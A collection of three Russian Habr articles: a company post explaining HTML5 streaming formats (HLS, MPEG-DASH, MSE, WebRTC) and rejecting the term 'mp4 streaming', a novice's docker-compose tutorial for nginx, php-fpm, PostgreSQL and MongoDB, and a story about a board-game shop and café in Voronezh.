Нередко клиенты спрашивают, умеет ли наш сервер «mp4-стриминг в HTML5». В 99% случаев спрашивающий не понимает о чём говорит. В этом сложно винить клиентов: из-за путаницы с терминами, технической сложности и большого разнообразия вариантов стриминга запутаться очень легко. В этой статье мы расскажем, какой бывает HTML5-стриминг, какие варианты хорошие, и почему, чёрт побери, нельзя говорить «mp4-стриминг». ▍Термины HTML5-видео — это когда вы вставляете в веб-страницу тег <video> и указываете ему какой-то src . HTML5-стриминг — это то же HTML5-видео, но когда в src не готовый файл, а постоянно обновляющийся видеопоток. Ролик на Ютубе — это HTML5-видео, трансляция в Твитче — HTML5-стриминг. Тегу <video> неважно, как видеопоток формируется и передаётся, и сможет ли браузер его проиграть. Главное, чтобы в src была ссылка на какой-то видеопоток. Говоря техническим языком, спецификация ничего не говорит о том, какие протоколы, транспорты и кодеки поддерживаются в HTML5-видео. Протокол — это то, как два участника видеосвязи (почти всегда это клиент и сервер) обмениваются данными с целью получения данных. Клиентом называют того, кто приходит к серверу и инициирует сессию связи. Видеопоток может течь от сервера к клиенту (тогда это обычное проигрывание) или от клиента к серверу (тогда это публикация). Даже когда гигантский шкаф, жрущий электричество как многоквартирный дом приходит к маленькой IP-камере, то она будет сервером, а этот шкаф клиентом. Протокол обычно подразумевает хотя бы команду Play (начать проигрывание), но иногда есть и расширенные варианты: пауза, продолжение, публикация, перемотка и т. п. Примеры протоколов: RTSP, RTMP, HTTP, HLS, IGMP . Транспорт , или транспортный контейнер , или контейнер — это то, как сжатое видео упаковывается в байты для передачи от одного участника к другому (по какому-то протоколу). Примеры контейнеров: MPEG-TS, RTMP, RTP . Обратите внимание, что RTMP оказался и в протоколах, и в транспортах. Это потому, что в описании RTMP есть спецификация и того, что должны слать друг другу стороны, чтобы видео потекло (т. е. протокол), и того, как упаковывать видео (т. е. транспорт). Так бывает не всегда. Например в протоколе RTSP видео упаковывается в транспорт RTP. Кодек — многозначный термин. Здесь он означает способ сжать сырое видео. Разница между кодеком и транспортом в том, что кодек — это про подготовку видео, а транспорт — про передачу видео по протоколу. Видео, сжатое одним кодеком, можно пересылать по разными протоколам и разными транспортами. Большинство видеостриминговых серверов не залезают глубже кодированного видео и оперируют только протоколами и транспортами. Примеры кодеков: h264, aac, mp3 . Из-за того, что термин многозначный, возникает путаница с названиями. Например, H.264 — это стандарт того, как упаковать поток огромных сырых видеокадров в очень мало байтов, libx264 — это библиотека для сжатия по этому стандарту, а ещё есть одноимённый софт под Винду, который умеет декодировать h264 и проигрывать его на экране. Итак, в спецификации HTML5 не описаны протоколы, транспорты и кодеки. Поэтому авторы браузеров сами выбирают, что поддерживать, а под «HTML5-стримингом» подразумевают разные вещи. При этом есть комбинации, которые поддерживаются значительной частью браузеров. Рассмотрим самые перспективные. ▍HLS HLS — это h264-видео и aac- или mp3-аудио, упакованное в транспорт MPEG-TS. Поток разбивается на сегменты, описанные в m3u8-плейлистах, и раздается по HTTP. HLS поддерживает мультибитрейтные потоки, Live/VOD. Вариант очень простой, но в то же время имеет много деталей, из-за чего на разных устройствах работает по-разному. Разработали HLS в Эппле, поэтому изначально он работал только в Сафари на iOS и MacOS. Даже Сафари на Windows не умел играть HLS (когда еще была версия под Win). Тем не менее, сейчас HLS умеют проигрывать все телевизионные приставки и даже почти все устройства на Андроиде. Но не всё гладко. Производители сторонних плееров плюнули на стандарт Эппла в части донесения разных аудиодорожек и добавили проигрывание всего что есть в обычном MPEG-TS: mpeg2 video, mpeg2 audio и т. п. Из-за этого приходится отдавать разные форматы плейлистов для разных плееров. ▍MPEG-DASH MPEG-DASH — обычно это h264/h265-видео и aac-аудио, упакованное в транспорт mp4, или vp8/vp9, упакованное в WebM, хотя стандарт и не привязан к конкретным кодекам, протоколам и транспортам. Как и в HLS, поток может разбиваться на сегменты, но это необязательно. Вместо плейлистов — MPD-манифест в XML. MPEG-DASH во многом похож на HLS. Возможно, он даже популярнее, ведь такие гиганты как Ютуб и Нетфликс уже несколько лет используют его как основной способ раздачи контента. MPEG-DASH хорош тем, что в большинстве браузеров работает нативно, через MSE (о том, что это такое, — чуть ниже). Для него даже нет реализации на Флеше — это честный, бескомпромиссный HTML5. Определенно, MPEG-DASH — самый настоящий HTML5-стриминг, за ним будущее. ▍MSE Когда стало ясно, что Флеш всё-таки умрёт (после сотни ложных похорон), ребром встал вопрос о том, что придёт ему на смену. Хорошо было бы получить в браузерах возможность проигрывать видео по качеству и удобству близко к тому, что умеет Флеш (а он это делает всё-таки хорошо). Во Флеше давно появился очень удобный механизм для универсального проигрывания разных вариантов — appendBytes. Суть в том, что пользовательский код сам как хочет скачивает кадры сжатого видео, упаковывает в оговоренный контейнер (с Флешем это flv) и засовывает в видеопроигрыватель. Т. е. протокол и транспорт реализуются в пользовательском коде, запускаемом в браузере. MSE (Media Sources Extensions) — это расширение спецификации HTML5, которое позволяет делать то же, что делает appendBytes во Флеше. К сожалению, MSE намного сложнее как в понимании, так и в реализации. MPEG-DASH, созданный на его базе, ещё хитрее, поэтому работать с ними то ещё удовольствие: тонны XML, парсинг бинарных контейнеров в Яваскрипте, непродуманные на этапе дизайна вопросы нарезки на сегменты — всё как мы любим, всё что нужно для единой безглючной реализации во всех браузерах. Интересно, что MSE работает не только с MPEG-DASH, но и с HLS. Существует реализация hls.js, которая скачивает HLS-плейлисты, скачивает MPEG-TS-сегменты, перепаковывает их в нужный для MSE формат и играет через MSE. Эппл даже сделала шаг в сторону совместимости с MPEG-DASH — использование mp4-контейнеров в HLS. К концу 2017 года Флеш скорее всего умрёт окончательно, и уже сегодня можно смело начинать проект с MPEG-DASH. ▍WebRTC Во Флеше была сделана годная попытка в одной технологии реализовать и риалтайм-общение, и массовый броадкастинг. К сожалению, в HTML5 так не вышло. Для просмотра трансляций у нас есть MSE, а для видеозвонков — WebRTC. WebRTC — это SIP в браузере: способ организовать аудио- и видеоканал и канал данных между двумя браузерами при посредничестве сервера. Технология не предназначена для стриминга, но в принципе может и его, так что было бы неправильно забыть про него. WebRTC тоже считается HTML5, потому что вроде как ничего кроме Яваскрипта в браузере не требует. Зато требует наличия последних версий обоих популярных браузеров, а с Эджем пока вообще не совместимо. Путаницу в понимании WebRTC вносит его использование в торрент-доставке телевидения. Суть в том, что браузеры через WebRTC организуют сеть каналов данных, а дальше по этой сети раздаются HLS- или MSE-сегменты видео, а проигрывание происходит через Флеш или MSE. Т. е. WebRTC — для доставки, MSE — для проигрывания. Важно не путать это с использованием WebRTC для проигрывания видео. ▍Так что там с mp4-стримингом? Любой современный браузер скорее всего сможет по протоколу HTTP запросить файл, упакованный в транспорт mp4 и содержащий внутри видео, сжатое кодеком h264/aac. И даже попытаться проиграть его. Это самый удобный, понятный и стандартный вариант проигрывания файлов. Лежит себе файлик на диске, nginx его отдает. Код, проигрывающий mp4 в браузерах достаточно хорош. Например, он умеет даже скачивать куски видео по необходимости (в отличие от Флеш-плеера, который скачивает видео целиком). Вокруг h264 сложилось немало шумихи по поводу его «закрытости» и «несвободности». Так что есть «открытая» альтернатива, которую форсит Гугл — видеокодеки vp8 и vp9, упакованные в транспорт WebM. WebM — это подмножество транспорта mkv (a. k. a. Матрёшка), который очень похож на mp4 по сути, но отличается от него своей «бинарностью». Именно отсюда растут ноги у такого явления как «mp4-стриминг», который устроен как WebM. Дело в том что в обычном mp4 в самом начале указывается размер всего контейнера. Поэтому, если мы хотим отдать по обычному mp4 прямой эфир, у нас ничего не получится. А чтобы всё-таки получилось и можно было создавать mp4 без фиксированного конца, придуман следующий ход: сначала пишется mp4 без кадров, а потом в конце подписываются блоками по несколько секунд фрагменты с кадрами. Это называется mp4 fragmented, или mp4 streaming. По сути это никакой не стриминг, а костыль, позволяющий создать его видимость. Mp4 — отличный формат для скачивания видео, но негодный для стриминга, так что про него можно просто забыть и никогда не использовать термин «mp4-стриминг». ▍Выводы Хорошие варианты HTML5-стриминга: MPEG-DASH и HLS. Они подходят и для мобильных устройств, и для ПК, и для приставок. Флеш всё-таки умрет, и MSE уже сейчас занимает его место. WebRTC — HTML5 технология, в первую очередь, для общения, а не для телевизионного вещания. Не приносите в веб старые кодеки и не пытайтесь доставлять mp2video и mp2audio по HLS, даже если ваш плеер это умеет. Никогда не говорите «mp4 стриминг». Пожалуйста.
https://habrahabr.ru/company/erlyvideo/blog/317494/
habrahabr
Очередная статья про Docker для новичка [nginx + php-fpm + postgresql + mongodb]
['docker', 'docker-compose']
Всем доброго времени суток. Вдохновленный целым набором статей на тему поднятия окружения на докере, я решил поделиться своим опытом по данному вопросу. Сразу оговорюсь, эта статья так сказать...
Всем доброго времени суток. Вдохновленный целым набором статей на тему поднятия окружения на докере, я решил поделиться своим опытом по данному вопросу. Сразу оговорюсь, эта статья так сказать «от новичка новичку», поэтому постараюсь подробно рассказать обо всех сложностях и вопросах, которые у меня возникли в процессе настройки окружения в Docker. Добро пожаловать под кат! Итак, все что я опишу ниже, я буду делать на ноутбуке известной «фруктовой компании», но так как ранее я делал тоже самое на VDS под управлением Centos 7, то я буду делать небольшие лирические отступления с описание, как я это делал на VDS. Начнем мы естественно в регистрации на docker hub , который будет выступать в качестве системы контроля версий, но только для наших контейнеров. Docker hub при бесплатном использовании позволяет иметь только 1 приватный репозиторий, поэтому мы будем каждый отдельный образ помечать соответствующими тегами — nginx, php7-fpm. Я не буду описывать создание репозитория, думаю, ни у кого с этим проблем не возникнет. Теперь мы можем установить сам docker на нашу рабочую станцию — в моем случае это описание находится здесь . При установке Docker на Mac у нас сразу устанавливается docker toolbox , в котором есть необходимый нам инструмент docker-compose . Мы будем использовать его для объединения наших контейнеров о общее окружение. Установка docker-compose на Centos 7 К сожалению, на VDS мне пришлось устанавливать его отдельно через pip . yum -y install python-pip pip install docker-compose Далее логинимся в нашем Докере: docker login Теперь нам доступны наши приватные репозитории (правда там пока пусто), там правда сейчас пусто, но мы это скоро исправим:) Для своего проекта я сделал следующую структуру файлов: ├── contaners # Директория с кастомными образами для docker │   ├── fpm │   │   ├── Dockerfile │   │   └── conf │   │   └── fpm.conf # Необходимые настройки fpm, у меня файл пустой:) │   └── nginx │   ├── Dockerfile │   └── conf │   └── nginx.conf ├── database # Директоря для хранения баз данных ├── docker-compose.yml ├── logs # Директоря для хранения логов └── php-code # Директоря с php кодом ├── html └── index.php Зачем нужна php-code/html При отсутствии директории html образ контейнера nginx не запуститься, где-то я находил, что проблема решается указанием WORKDIR в Dockerfile, но эта директория все-равно понадобится. Для проекта я буду использовать кастомные образы для nginx и fpm, поэтому их я вынес в отдельные директории. Кастомные образы описываются при помощи Dockerfile . Вот мои: ./contaners/fpm/Dockerfile FROM php:fpm MAINTAINER nickname <my-email@domain> RUN apt-get update && apt-get install -y \ libmcrypt-dev \ && apt-get install -y libpq-dev \ && docker-php-ext-install -j$(nproc) mcrypt \ && pecl install mongodb && docker-php-ext-enable mongodb RUN docker-php-ext-install mbstring RUN docker-php-ext-install exif RUN docker-php-ext-install opcache RUN docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql \ && docker-php-ext-install pgsql pdo_pgsql COPY conf/ /usr/local/etc/php-fpm.d/ CMD ["php-fpm"] ./contaners/nginx/Dockerfile FROM nginx:latest MAINTAINER nickname <my-email@domain> COPY ./conf /etc/nginx/conf.d/ ./contaners/nginx/conf/nginx.conf server { listen 80; index index.php index.html; server_name localhost; error_log /etc/logs/nginx/nginx_error.log; access_log /etc/logs/nginx/nginx_access.log; root /var/www; location ~ \.php$ { try_files $uri =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass fpm:9000; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; } } Скрипт из официального образа PHP от Docker Hub позволяет легко установить нужные расширения: docker-php-ext-install или docker-php-ext-enable # в случае, если расширение уже установлено (как у меня через pecl) Вся подготовительная работа проведена проведена, теперь надо описать как наши контейнеры будут взаимодействовать. Как я уже писал, делать это мы будем через docker-compose и правила взаимодействия нужно описать в файле docker-compose.yml . Вот мой: ./docker-compose.yml nginx: dockerfile: ./Dockerfile # путь до докер файла указываем относительно директории в build build: ./contaners/nginx ports: - 80:80 volumes: - ./logs:/etc/logs/nginx volumes_from: - fpm:rw environment: - NGINX_HOST=localhost - NGINX_PORT=80 command: nginx -g "daemon off;" # Можно было указать в докер-фале, но можно и здесь) links: - fpm fpm: dockerfile: ./Dockerfile build: ./contaners/fpm volumes: - ./php-code:/var/www:rw Замечание по поводу указания относительных путей Если мы указываем относительные пути к файлам и деректориям, то они должны обязательно начинаться с точки (как указание текущей директории), т.е., например, такой путь contaners/nginx/Dockerfile — будет интерпретирован не верно. Теперь можно запустить наши контейнеры: docker-compose up -d аргумент -d аргумент -d указываем для того, чтобы отвязать работу контейнеров от консоли, т.е. запустить в режиме демона Все, наши контейнеры работают и линкуются, но кое-что я сделал не так, а именно — мы для запуска контейнера всегда ссылаемся на Dockerfile, это не очень удобно. Сделаем так: docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 2d6263b52380 test_nginx "nginx -g 'daemon off" 8 minutes ago Up 8 minutes 443/tcp, 0.0.0.0:8080->80/tcp test_nginx_1 04370a9e1c73 test_fpm "php-fpm" 8 minutes ago Up 8 minutes 9000/tcp test_fpm_1 docker tag 2d6263b52380 my-login/repo:nginx docker tag 2d6263b52380 my-login/repo:fpm docker push my-login/repo:nginx docker push my-login/repo:php7-fpm Теперь наши контейнеры управляются через docker hub и Dockerfile'ы нам больше не нужны. Исправим docker-compose.yml: ./docker-compose.yml nginx: image: my-login/repo:nginx ports: - 80:80 volumes: - ./logs:/etc/logs/nginx volumes_from: - fpm:rw environment: - NGINX_HOST=localhost - NGINX_PORT=80 command: nginx -g "daemon off;" # Можно было указать в докер-фале, но можно и здесь) links: - fpm fpm: image: my-login/repo:php7-fpm volumes: - ./php-code:/var/www:rw А вот теперь я понял, что забыл добавить расширение pcntl для php. Но это легко поправить. Для начала подключимся к нужному контейнеру: docker exec -it 04370a9e1c73 bash И добавить необходимое расширение: docker-php-ext-install pcntl Отлично, в контейнер добавили, но мы же хотели использовать docker hub в качестве VCS — значит надо закомитить изменения: docker commit -m "added pcntl ext" 04370a9e1c73 my-login/repo:php7-fpm и запушить в репозиторий: docker push my-login/repo:php7-fpm Добавим еще контейнеры баз данных (postgresql и mongodb): ./docker-compose.yml nginx: image: my-login/repo:nginx ports: - 80:80 volumes: - ./logs:/etc/logs/nginx volumes_from: - fpm:rw environment: - NGINX_HOST=localhost - NGINX_PORT=80 command: nginx -g "daemon off;" links: - fpm fpm: image: my-login/repo:php7-fpm volumes: - ./php-code:/var/www:rw links: - mongo - postgres mongo: image: mongo ports: - 27017:27017 # Проброс портов для внешнего доступа volumes: - ./database/mongo:/data/db postgres: image: postgres:latest ports: - 5432:5432 # Проброс портов для внешнего доступа volumes: - ./database/postgres:/data/postgres environment: POSTGRES_PASSWORD: <myPassword> POSTGRES_USER: postgres PGDATA : /data/postgres И теперь выполняем: docker-compose up -d Докер добавит нам новые контейнеры к уже запущенным. Но я открыли порты для внешнего доступа, но мы указали пароль только для PostgreSql, нужно тоже самое сделать и для mongodb — как это сделать (и не только) подробно описано здесь . Add the Initial Admin Use For MongoDB docker exec -it some-mongo mongo admin connecting to: admin > db.createUser({ user: 'jsmith', pwd: 'some-initial-password', roles: [ { role: "userAdminAnyDatabase", db: "admin" } ] }); Successfully added user: { "user" : "jsmith", "roles" : [ { "role" : "userAdminAnyDatabase", "db" : "admin" } ] } Базы данных из php теперь доступны по хостам postgres и mongo соответственно, т.е. для подключения, например, к mongodb мы должны написать следующее: $manager = new MongoDB\Driver\Manager("mongodb://mongo:27017"); На этом все, спасибо за внимание. Прошу учесть, что все описанное является исключительно моим собственным опытом и не претендует на звание идеального подхода к настройке окружения через docker.
https://habrahabr.ru/post/317504/
habrahabr
Истории малого бизнеса — магазин в Воронеже
['Воронеж', 'настольные игры', 'бизнес', 'кафе', 'фестиваль', 'Мосигра', 'чудо исчезающей поставки']
Развёртка панорамы магазина с кафе Привет! История про наш магазин во Владимире вызвала подозрительный интерес, и я обещал рассказать про ещё пару точек. Сегодня история Воронежа, полезная...
Развёртка панорамы магазина с кафе Привет! История про наш магазин во Владимире вызвала подозрительный интерес, и я обещал рассказать про ещё пару точек. Сегодня история Воронежа, полезная не только и не столько именно розничной частью, сколько сразу двумя историями — кафе при магазине и организацией большого фестиваля с рекламой по всей области за очень, очень земные деньги. Женя Гуржей — один из наших первых франчайзи-партнёров, он открылся в октябре 2010 года, когда мы только-только научились открывать магазины в Москве. Он успел заработать на точке, открыть второй магазин, открыть другой бизнес, выйти из франшизы (на 2 недели), закрыть второй магазин и закрыть другой бизнес. В общем, человек-приключение с тягой к инженерному мышлению. О его складе над фальшпотолком магазина по сети уже ходят настоящие легенды. Женя с женой Еленой вместе открывали первую точку, ещё когда Женя имел постоянную работу в автодистрибьюторе. Точнее, тут, скорее, уместно сказать, что работа имела его, и нужно было вырываться и делать что-то своё. Организационные навыки, будучи не продавцом машин, а маркетинговым специалистом, просчитывающим открытие новых филиалов, он получил отличные. Особенно после того, как искал место в Латинской Америке для филиала. Возможно, именно поэтому с выбором первого помещения поступил точно так, как надо, и точно по нашей методике (правда, тогда мы её доносили словами и маханием руками, а не именно в виде механики). В общем, проявив завидное терпение и нехилый талант, он нашёл точку на 12 квадратных метров прямо напротив администрации города и Никитинской библиотеки. Дом был исторический, поэтому крупной вывески нет. Двери, на которые на ночь закрывалось помещение, превратили в своего рода билборды, которые на ночь поворачивались внутрь помещения. Такая точка — это почти джекпот для первого года и первого магазина в городе, где настолками не торговали. Низкая аренда гарантирует практическое отсутствие рисков, огромная вывеска плюс поток — всё играет на то, что люди будут покупать, даже если не рекламироваться особо специально. Собственно, Женя и не рекламировался системно, если не считать разных экспериментов с радио, местными СМИ и наружкой. Два с половиной года (два с половиной, Карл!) он работал и зарабатывал только тем, что выбрал удобное помещение. Ну и про него пошло сарафанное радио: он очень хорошо и правильно выбирал продавцов, всегда грамотно считал товар, и поддерживал некоторые стандарты сервиса даже сильнее, чем в Москве. Например, если к нему приходил человек с возвратом игры с рваной коробкой («не зашла»), то на первый раз он учил продавцов забивать на стандарты и возврат всё же принимать. Надо сказать, встречал реальное непонимание, но своего добился после того, как через пару месяцев те же люди стали возвращаться и делать большие чеки. «Вернули дополнение за 500 рублей, посидели, поиграли — и купили на три с половиной тысячи. И ещё заходят. С допкой что? Не помню, но наверняка или со скидкой 30% продал или в игротеку положил». Через два с половиной года наступило насыщение рынка. На тот момент Женя уже давно не работал с автомобилями, перестал стоять с женой в магазине (под первый новый год она работала продавцом 5 дней в неделю, а он стоял выходные и приезжал ещё вечерами в ноябре и декабре, спал мало). Два продавца, оборот позволял обеспечивать семью даже в несезон лета (и давал очень, очень хорошо заработать на новый год и половые праздники), стабильный бизнес. Но выше он не рос. И ещё давила площадь — всё же 12 квадратных метров (это половина обычной гостиной, порезанной вдоль) — это мало. В первую очередь не было возможности хорошо показать весь товар, то есть страдала конверсия. Склад Женя уже давно оборудовал наверху — там были потолки 4 метра, и он сделал там систему полок. Летом покупатель, спрашивающий конкретную позицию, мог наблюдать, как прекрасная девушка-продавец берёт стремянку, открывает люк в потолке и, по пояс стоя в нём, достаёт коробку. Очаровательно, конечно, но странновато. Я даже был немного удивлён, что у него за это время не унесли кассу — но, оказалось, что именно с кассовой дисциплиной ошибок не было, и ящик всегда грамотно запирался. В общем, алес, потолок, оборот зафиксировался на стабильном уровне. Это случается в момент, когда естественное покрытие магазина и полнота ассортимента достигают пика. Варианты дальше были достаточно интересны: Заняться всё же городской рекламой и привлекать больше людей на эту «точку выдачи». Открывать большой магазин, где можно пощупать товар руками и всё такое. Открывать ещё один маленький магазин в другой части города (Воронеж разделён, условно, на три кластера — есть река и отдельный жилой район вдали от основного делового). Открывать другой бизнес. Заниматься ярмарками, то есть так называемыми поп-ап магазинами (например, мы на Новый год в Москве кроме 24 обычных магазинов открываемся в 15 ТЦ и ярмарках, и закрываемся в январе-марте). В общем, не мудрствуя лукаво, он выбрал все пять пунктов. Но получилось это своеобразно. Первое, что он сделал — это запустил городскую рекламу. Точнее, открыл инструкцию и начал читать, что нужно делать. А там игротеки, которые он считал пустой тратой времени. В общем, решил попробовать, начал проводить, и — на этом месте следует мой фейспалм — о чудо! Заработало! Именно Женя на съезде филиалов в конце года произнёс фразу: «Коллеги, не пренебрегайте игротеками, не зря их нам Москва уже три года настойчиво рекомендует». Ааааааа. Тут же понадобился Яндекс.Директ (Воронеж хорошо представлен в Интернете, и даже звонки с сайта идут регулярно). Потом в 2013 году открыли точку в микрорайоне Северный — это другой конец города, дичайший трафик в том месте, где основная остановка и народ начинает растекаться на «ручейки». Тогда никто ещё из нас не знал численно, что в жилых районах для нашей модели работают только торговые центры. Женя нашёл место прямо около потока, правда, в цоколе (и глубоком, на этаж по лестнице вниз) и открылся. Магазин работал с небольшой прибылью — 10-20 тысяч в месяц, а геморроя приносил жуткое количество. Тут и менеджмент продавцов, и учёт. Особенно не радовала логистика — прыжок от одного магазина до двух сложен, и по сложности он примерно такой же, как от двух до десяти. В общем, Женя смотрел-смотрел на него, увидел, что он не особо растёт и всё так же работает около нуля — взял примерно 200 дополнительных тысяч за декабрь, доработал до конца половых праздников и не стал ждать лета — закрыл точку. Хотел открыться в торговом центре в центре города, но там уже нарисовалась другая точка с подарками и настолками с ценами в полтора раза выше. Он бы с удовольствием, на самом деле, торговал бы там по высоким розничным ценам, и брали бы — но у нас есть строгая политика одинаковой цены в каждом магазине. Плюс ходили слухи о том, что в этом ТЦ контролируют выручку и закуп магазинов, и если бизнес хороший — то внезапно на месте бывшего отдела открывается точно такой же, только другой. Неизвестно, сколько в этом правды, но рисковать, думаю, ему не хотелось. Примерно в этот период мы как раз переходили от модели закупок с нашего склада на модель свободных закупок ( вот эта глава из книги со всей болью ситуации), и Женя как раз ушёл с франшизы. Мы пожали плечами, но остались друзьями. Вернулся он аккурат через две недели — даже документы юристы не успели обработать. Как будто и не уходил. У нас тоже отлегло — если бы мы в ТЦ напротив него открыли бы свой магазин, получился бы небольшой конфуз. Следующая пассия Жени — фестиваль настольных игр. Женя в очередной раз сидел дома, ничего не делал и смотрел на то, как вроде все работает — но стабильность и спокойствее его не устраивало. Хотелось движухи, и, в целом, на тот момент уже образовалась «подушка безопасности», то есть сумма, которой можно было смело рисковать. Когда такое получается, мы говорим журналистам про грамотную стратегию, а когда нет — про, фактически, плату за своё бизнес-образование. Вот Женя и холодно посчитал, что может позволить себе закупить немного обучения на своей шкуре. Точнее, решил, что всё равно он ими рискнёт, не выдержит, пока не узнает, сработает или нет. И начал искать возможность с завидной терпеливостью. «Толокли воду в ступе, надо было качественное изменение. Масштабное, с хорошей поддержкой. Чтобы зацепить новую аудиторию, всех тут. Решил, что нужен фестиваль. Сунулся на радиостанцию, мне посчитали бюджет за две недели ротации, я сумму посмотрел — *****! На этом разговор и закончился» . В общем, медийная поддержка оказалась неожиданно дорогой. Женя жил с идеей почти год. И потом один из его бывших аниматоров стал диджеем на местной радиостанции. И свёл его с парой людей на месте. Женя сделал презентацию, приготовился ко встрече и начал серьёзно рассчитывать на скидку 30% — тогда со скрипом, но влезало. Если бы уговорил на 40% — это была бы лютая победа. И тут серьёзный дяденька сказал фразу, которая всё изменила: — Хорошо, вы делаете нас организатором, как и Мосигру, а мы крутим вас две недели. Это означало — логотип перед нашим на буклет и постоянно говорить, что это фестиваль Европы-Плюс и Мосигры, а не Мосигры с информационным спонсором. Чувствуете разницу? Я нет. Женя тоже. И тут прямо крылья раскрылись. Дальше Женя пошёл ко всем остальным, кто имел хоть какое-то отношение к интеллектуальным играм или городской жизни и объяснил, что вот, будет фестиваль, вот его будут крутить на радио, это большое городское событие. И народ начал вписываться, подтянулись безумно крутая «Искра» (развивающие лагеря с роботами и физикой), Зазеркалье, Центр игровых технологий. На встрече с местным телеканалом Женя рассчитывал торговаться, и грамотно разыграл карту информационного спонсора — заплатив ещё одним логотипом, но не деньгами. Затем Женя отправил презентации всем производителям настольных игр в России и настолько обрадовался положительным ответам, что трогательно попросил коробок даже у нас. Мы не могли отказать, конечно. Так обеспечились призы на турниры и коробки, которые для них иначе пришлось бы снимать с продажи и открывать. Призов получилось примерно на 50 тысяч в ценах закупки. Как настоящий индеец, Женя перемешал призы — и дарил на турнире за первые места не то, во что играли игроки. Чтобы они покупали понравившуюся игру, да. Кстати, производители не проиграли — турнир по Эволюции точно обеспечил увеличение продаж на неё на 18% в ближайший месяц. Часть команды второго фестиваля Без учёта скидок и бесплатно получаемых ништяков фестиваль приближался по смете к полумиллиону рублей. Но место дал город (площадка в библиотеке), очень много удалось скинуть на рекламе, плюс Женя зазвал на ярмарку на месте кучу других магазинов и с каждого взял небольшой взнос. Если бы он пошёл дальше по пути Петербурга, то ещё и заработал бы на этом (например, как на ресторанных днях или маркетах хендмейда). Но тут он просто снизил бюджет почти в пять раз. И это без учёта того, что те две недели, пока его крутили на радио, он получал нехилые бонусы к продажам в магазине. Эти же две недели он постил в блог, как готовился. И рассказывал даже об этом на радио в прямом эфире. Фестиваль имел оглушительный успех. Люди шли играть семьями, студенческими группами, классами и просто так, знакомиться. 27 аниматоров (6 Жени, остальные от Искры и других магазинов) были просто разорваны толпой. Библиотекари ходили по родным пенатам в суеверном ужасе. 300 мест зала не хватило. Люди играли на лестницах, на подоконниках, просто стоя. Площадки крупнее в городе не было (точнее, она стоила бы реально здоровенных денег). Фото со второго фестиваля Потом начался кризис, причём с неожиданной удачи. На углу квартала, где стоял магазин, съехала большая парикмахерская. Прямо в одном доме от Жени. Большое помещение для задыхающегося на 12 квадратах — это счастье. Сразу, конечно, его брать было нельзя — но теперь-то место прикормлено, и все всё знают про настолки. Пугало то, что помещение ровно в два раза больше, чем хотелось бы для магазина, и Женя лихорадочно просчитывал, что бы там сделать ещё. Более того, договор с первым помещением был ещё на полгода, и надо было что-то оставлять в магазине (или терять пару месяцев депозита). Сначала был план с антикафе, но опрос владельцев и подсчёты быстро его переубедили. Напомню, я тоже играл с этим форматом , но отказался. В итоге вместе с Еленой (женой) решили сделать кофейню, рассчитывая, что голодные студенты будут заскакивать за кофе, бутербродами, розеткой и вайфаем. И не ошиблись. Что приятно — Женя работал по текущему бизнесу, а Лена рулила процессом открытия кафе, и это был её проект. Тут надо чуть отступить и рассказать про Наташу. Наташа была первым продавцом Мосигры в Воронеже (после Жени и его жены, конечно). С ней повезло дичайше. Очень ответственная и абсолютно честная. В общем, мифический персонаж. Но работала она, в отличие от всех остальных, не за деньги (Женя платит чуть-чуть выше рынка), а просто потому что её дико пёрло и радовало всё то, что происходит. Полтора года она играла джаз с командой, а потом Женя логично предложил ей стать управляющей точкой. Зарплата больше, но это уже не продажи людям, а числа. Наташа поняла, что фан кончился, и начался бизнес именно как бизнес вместо эмоций. И ушла. Осталась прекрасная Полина (4 года в команде), менялось много других продавцов, Даша неожиданно ушла в декрет… А Наташа выучилась на проводницу, поездила пару недель, уволилась, осталась в Москве, поработала, а потом вернулась в город и зашла на чай. Женя спросил, вернётся ли она, если они вдруг когда-нибудь будут открывать кафе. Потому что снова будет фан и драйв. И Наташа пообещала согласиться. Предполагалось, что это 3-4 месяца, но тут съехала парикмахерская, и Женя позвонил со словами: — Открываем кафе послезавтра! Наташа, рассчитывавшая отдохнуть, ужаснулась: — Аааа, зачем я тебе пообещала! Но вышла и стала рулить процессом. За полтора месяца сделали ремонт, полностью перенесли магазин на новую точку, обустроили кофейню, набрали людей и открыли магазин «Всё для праздника» с упаковками и стандартным подарочным набором на старой точке. Вот он: А вот новое место (его развёртка до ката): Обратите внимание на свет: он очень важен для выкладки (товар должен быть светлее окружающего пространства, а магазин — светлее квартиры), и здесь от парикмахерской досталась очень хорошая система. Магазин с кафе сразу даёт плюс к настроению, поскольку в нём намного легче выстроить и правильную музыку, и правильный запах свежесваренного кофе. А эти два фактора очень и очень влияют на вероятность продажи. Если вдруг у вас в магазине тихо, поставьте классику или джаз, станет куда лучше. Стабилизировались. Научились тюнингу машины, стали варить правильный кофе. Сейчас утром приходит много голодных студентов (Женя сетует, что мест нет, а кофе на вынос регион пока не приучен брать). В обед студенты трёх корпусов рядом прогуливают тут пары, а школьники забегают на большой перемене перекусить сладким пончиком. Пончики у него реально здоровенные и очень вкусные (покупные, конечно). К вечеру столики бронируют люди, которые хотят отдохнуть после работы. Вот недавнее расписание: С пятницы на субботу и с субботы на воскресенье иногда проводили ночи настольных игр с турнирами. Сначала проверили, слышно ли разговоры внизу соседям (это всё же жилой дом), соседи дали добро — не слышно. И понеслось. Сначала делали до 3, потом стали до 6, люди просили закрывать позже, чтобы успеть на утренние маршрутки, а не пешком. Эти же игроночи дали много новых аниматоров — людей, кто грамотно организовывал столы, просто приглашали потом оставаться на ещё одну ночь, но уже за деньги. Студенты с радостью соглашались. Места (шести столов) критически не хватало, поэтому Женя поставил ограничение — чек 100 рублей, и только тогда можно играть сколько влезет. Это увеличило прибыль кафе, но всё равно места постоянно нет, и народ уходит к соседям — антикафе «Носорог» с ценой минуты 2 рубля 50 копеек, где тоже стоят наши настолки. В кризис оборот Жени упал, в среднем, на 8%. Он спрашивал у всех своих знакомых, и получалось, что у них падение было в среднем на 30%, поэтому удручение постепенно сменилось некоторым удовлетворением. В магазине с подарками (старом помещении) дела пошли около нуля, Женя ждал праздников. Но контракт заканчивался 15 декабря, следующий надо тоже на год минус день. Женя знал, что в декабре он заработает много, но январь будет абсолютно мёртвым — и решил закрыть точку, потому что затраты перекроют весь заработок. Бренда там нет, развивать смысла не имеет, история неэмоциональная и не самая прибыльная. Товар он просто перетащит в наш магазин на отдельный стеллаж и постепенно продаст. В общем, математика рулит. 